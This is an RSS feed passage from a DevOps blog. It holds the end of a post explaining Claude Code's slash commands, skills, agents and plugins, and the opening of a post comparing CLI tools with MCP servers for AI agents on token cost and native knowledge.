          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-vs-doing-it-directly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">Simple task (no agent needed):
  &quot;What&#x27;s in package.json?&quot;
  -&gt; Claude just reads the file

Complex task (agent helps):
  &quot;Audit all 37 API routes for security issues&quot;
  -&gt; Claude spawns an agent to systematically check each route
  -&gt; Agent returns structured findings
</code></pre><h2 id="h2-plugins" class="group relative scroll-mt-24">
        <a href="#h2-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Plugins are packages that bundle multiple extension types together. A plugin can contain skills, commands, hooks, and MCP server configurations.</p>
<h3 id="h3-what-plugins-contain" class="group relative scroll-mt-24">
        <a href="#h3-what-plugins-contain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What plugins contain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-plugins-contain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">my-plugin/
  skills/
    write-post.md      # Skill definitions
    review-code.md
  commands/
    quick-check.md     # Slash commands
  hooks/
    pre-commit.sh      # Lifecycle hooks
  mcp/
    config.json        # MCP server setup
  plugin.json          # Plugin metadata
</code></pre><h3 id="h3-installing-plugins" class="group relative scroll-mt-24">
        <a href="#h3-installing-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Installing plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-installing-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># From the official marketplace</span>
/install-plugin context7

<span class="hljs-comment"># From GitHub</span>
/install-plugin https://github.com/org/plugin-name

<span class="hljs-comment"># List installed plugins</span>
/plugins
</code></pre><h3 id="h3-the-plugin-marketplace" class="group relative scroll-mt-24">
        <a href="#h3-the-plugin-marketplace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The plugin marketplace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-plugin-marketplace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There are two marketplaces:</p>
<ol>
<li><strong>Official marketplace</strong> (<code>claude.com/plugins</code>) - verified by Anthropic, generally safe</li>
<li><strong>Knowledge-work marketplace</strong> - business-focused plugins (marketing, sales, legal)</li>
</ol>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add the knowledge-work marketplace</span>
/plugin marketplace add anthropics/knowledge-work-plugins
</code></pre><h3 id="h3-when-to-install-plugins" class="group relative scroll-mt-24">
        <a href="#h3-when-to-install-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to install plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-to-install-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>When you need capabilities Claude does not have natively (live docs, security scanning)</li>
<li>When you want structured workflows for your team (standardized PR creation, review process)</li>
<li>When the context cost is worth the capability</li>
</ul>
<h3 id="h3-when-not-to-install-plugins" class="group relative scroll-mt-24">
        <a href="#h3-when-not-to-install-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When NOT to install plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-not-to-install-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>When you can achieve the same thing with a CLAUDE.md file or slash command</li>
<li>When you are &quot;collecting&quot; plugins without a specific need</li>
<li>When you notice slower responses after installing several plugins</li>
</ul>
<h2 id="h2-how-they-all-fit-together" class="group relative scroll-mt-24">
        <a href="#h2-how-they-all-fit-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How They All Fit Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-they-all-fit-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">Plugin (package)
├── Skills (loaded on demand by Claude)
├── Commands (triggered by you with /)
├── Hooks (run automatically on events)
└── MCP Servers (external tool connections)

Agents (built-in, not installed)
└── Spawned by Claude when needed for complex tasks
</code></pre><h3 id="h3-a-practical-example" class="group relative scroll-mt-24">
        <a href="#h3-a-practical-example" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A practical example
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-practical-example"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You install the <strong>Superpowers</strong> plugin. This gives you:</p>
<ul>
<li><strong>Skills</strong>: TDD workflow, debugging methodology, plan-to-code conversion</li>
<li><strong>Commands</strong>: <code>/tdd</code> to start test-driven development, <code>/debug</code> to launch structured debugging</li>
<li><strong>Hooks</strong>: maybe a pre-commit hook that runs tests</li>
</ul>
<p>When you type <code>/tdd</code>, it triggers the TDD command, which loads the TDD skill, which instructs Claude to follow a specific red-green-refactor workflow. If the task is complex, Claude might spawn an agent to write tests in parallel while it works on implementation.</p>
<p>All four mechanisms working together.</p>
<h2 id="h2-decision-guide" class="group relative scroll-mt-24">
        <a href="#h2-decision-guide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Guide
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-guide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-i-want-claude-to-follow-a-specific-format-when-i-ask-for-x" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-follow-a-specific-format-when-i-ask-for-x" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to follow a specific format when I ask for X"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-follow-a-specific-format-when-i-ask-for-x"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Use a <strong>skill</strong> (via a plugin) or a <strong>CLAUDE.md</strong> instruction.</p>
<h3 id="h3-i-want-a-shortcut-for-a-prompt-i-type-often" class="group relative scroll-mt-24">
        <a href="#h3-i-want-a-shortcut-for-a-prompt-i-type-often" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want a shortcut for a prompt I type often"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-a-shortcut-for-a-prompt-i-type-often"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Use a <strong>slash command</strong> in <code>.claude/commands/</code>.</p>
<h3 id="h3-i-want-claude-to-check-my-code-for-security-issues-automatically" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-check-my-code-for-security-issues-automatically" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to check my code for security issues automatically"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-check-my-code-for-security-issues-automatically"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Install the <strong>Security Guidance plugin</strong>.</p>
<h3 id="h3-i-want-claude-to-look-up-current-api-docs-instead-of-guessing" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-look-up-current-api-docs-instead-of-guessing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to look up current API docs instead of guessing"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-look-up-current-api-docs-instead-of-guessing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Install the <strong>Context7 plugin</strong>.</p>
<h3 id="h3-i-want-claude-to-handle-a-complex-task-autonomously" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-handle-a-complex-task-autonomously" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to handle a complex task autonomously"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-handle-a-complex-task-autonomously"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This happens automatically via <strong>agents</strong> - you do not need to configure anything.</p>
<h3 id="h3-i-want-to-enforce-rules-across-my-team" class="group relative scroll-mt-24">
        <a href="#h3-i-want-to-enforce-rules-across-my-team" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want to enforce rules across my team"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-to-enforce-rules-across-my-team"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Put them in <strong>CLAUDE.md</strong> (simplest) or create a custom <strong>plugin</strong> (most structured).</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The four extension types serve different purposes at different levels:</p>
<ul>
<li><strong>Slash commands</strong> are personal shortcuts for prompts you repeat</li>
<li><strong>Skills</strong> are structured workflows that Claude loads automatically</li>
<li><strong>Agents</strong> are autonomous workers Claude spawns for complex tasks</li>
<li><strong>Plugins</strong> are packages that bundle skills, commands, and more</li>
</ul>
<p>Start with CLAUDE.md for project rules and slash commands for frequent prompts. Add plugins only when you need capabilities that do not exist natively. Agents handle themselves - you do not need to configure them.</p>
<p>The best setup is the minimal one that covers your actual needs. Every extension you add has a cost in complexity and context. Be selective, and your Claude Code experience will be better for it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CLI vs MCP: When to Use Each for AI-Powered DevOps]]></title>
      <link>https://devops.anhp.site/posts/cli-vs-mcp-when-to-use-each</link>
      <description><![CDATA[CLI tools and MCP servers both let AI agents interact with your infrastructure, but they solve different problems. Here is when to reach for each one and why the answer is usually both.]]></description>
      <pubDate>Wed, 08 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/cli-vs-mcp-when-to-use-each</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[DevOps]]></category><category><![CDATA[AI]]></category><category><![CDATA[CLI]]></category><category><![CDATA[MCP]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Cloud]]></category>
      <content:encoded><![CDATA[<p>AI agents are getting good at running commands and calling APIs. But there are two very different ways to give them access to your tools: the traditional <strong>CLI</strong> (command-line interface) and the newer <strong>MCP</strong> (Model Context Protocol).</p>
<p>Both work. Both have real tradeoffs. And if you pick the wrong one for your use case, you will end up burning tokens, fighting auth issues, or building workarounds that shouldn&#39;t exist.</p>
<p>This post breaks down the six dimensions where CLI and MCP differ, with concrete examples so you can pick the right approach for each situation. 🎯</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Dimension</th>
<th>CLI</th>
<th>MCP</th>
<th>Winner</th>
</tr>
</thead>
<tbody><tr>
<td>💰 Token cost</td>
<td>~200 tokens per command</td>
<td>~44K tokens to load schema</td>
<td><strong>CLI</strong></td>
</tr>
<tr>
<td>🧠 Native knowledge</td>
<td>LLMs pretrained on CLI syntax</td>
<td>New schema learned at runtime</td>
<td><strong>CLI</strong></td>
</tr>
<tr>
<td>🔗 Composability</td>
<td>Unix pipes chain natively</td>
<td>Multiple LLM calls needed</td>
<td><strong>CLI</strong></td>
</tr>
<tr>
<td>🔐 Multi-user auth</td>
<td>Shared token, can&#39;t revoke per user</td>
<td>Per-user OAuth, revoke anytime</td>
<td><strong>MCP</strong></td>
</tr>
<tr>
<td>🔄 Stateful sessions</td>
<td>New TCP connection per command</td>
<td>Persistent connection, reuses state</td>
<td><strong>MCP</strong></td>
</tr>
<tr>
<td>🏢 Enterprise governance</td>
<td>Only ~/.bash_history</td>
<td>Audit, revoke, monitor built in</td>
<td><strong>MCP</strong></td>
</tr>
</tbody></table>
<p>The short version: CLI wins for simple, composable, token-efficient tasks. MCP wins when you need per-user auth, persistent state, or enterprise-grade audit trails. Most real setups will use both. 🤝</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Basic familiarity with AI agents and LLM tool use</li>
<li>Experience with command-line tools (kubectl, aws, gh, etc.)</li>
<li>Understanding of OAuth2 concepts is helpful for the auth sections</li>
</ul>
<h2 id="h2-what-is-mcp" class="group relative scroll-mt-24">
        <a href="#h2-what-is-mcp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What is MCP?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-is-mcp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before we compare, a quick primer. <strong>Model Context Protocol (MCP)</strong> is an open standard (created by Anthropic) that lets AI models connect to external tools and data sources through a structured protocol. Instead of shelling out to a CLI, the AI talks to an MCP server over a persistent connection, calling tools that are defined with typed schemas.</p>
<p>Think of it like this:</p>
<ul>
<li><strong>CLI</strong>: the AI runs <code>kubectl get pods -n production</code> as a shell command</li>
<li><strong>MCP</strong>: the AI calls <code>kubernetes.listPods({ namespace: &quot;production&quot; })</code> through a structured API</li>
</ul>
<p>Both get you the same pods list. The difference is in how the interaction is structured, authenticated, and governed.</p>
<h2 id="h2-token-cost-cli-wins" class="group relative scroll-mt-24">
        <a href="#h2-token-cost-cli-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💰 Token Cost: CLI Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-token-cost-cli-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is where CLI has a massive advantage. When an AI agent calls a CLI tool, it sends a short command string:</p>
<pre><code class="hljs language-bash">gh <span class="hljs-built_in">pr</span> list --state open --json number,title
</code></pre><p>That is roughly <strong>200 tokens</strong>. The LLM already knows the syntax, so it doesn&#39;t need a schema definition.</p>
<p>MCP, on the other hand, requires loading the full tool schema upfront: tool names, parameter types, descriptions, authentication details. For a moderately complex MCP server, that is around <strong>44,000 tokens</strong> just to describe what tools are available, before you even call anything.</p>
<pre><code class="hljs language-text">CLI workflow:
  User prompt (100 tokens) + command (50 tokens) + output (200 tokens)
  Total: ~350 tokens per interaction

MCP workflow:
  Schema load (44K tokens) + user prompt (100 tokens) + tool call (200 tokens) + output (200 tokens)
  Total: ~44,500 tokens for the first interaction
</code></pre><p>Over a long session with many tool calls, the MCP schema cost amortizes. But for quick, one-off tasks, CLI is dramatically cheaper. 📉</p>
<p><strong>When this matters:</strong> If you&#39;re running AI agents at scale (hundreds of requests per hour) and paying per token, the cost difference is significant. If you&#39;re running a single interactive session, it&#39;s less of a concern.</p>
<h2 id="h2-native-knowledge-cli-wins" class="group relative scroll-mt-24">
        <a href="#h2-native-knowledge-cli-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🧠 Native Knowledge: CLI Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-native-knowledge-cli-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>LLMs were trained on millions of Stack Overflow answers, man pages, and GitHub repos full of CLI commands. When you ask an AI to &quot;list all running Docker containers,&quot; it already knows to run <code>docker ps</code>. No schema needed.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># The LLM already knows these</span>
aws s3 <span class="hljs-built_in">ls</span>
kubectl get pods
git <span class="hljs-built_in">log</span> --oneline -10
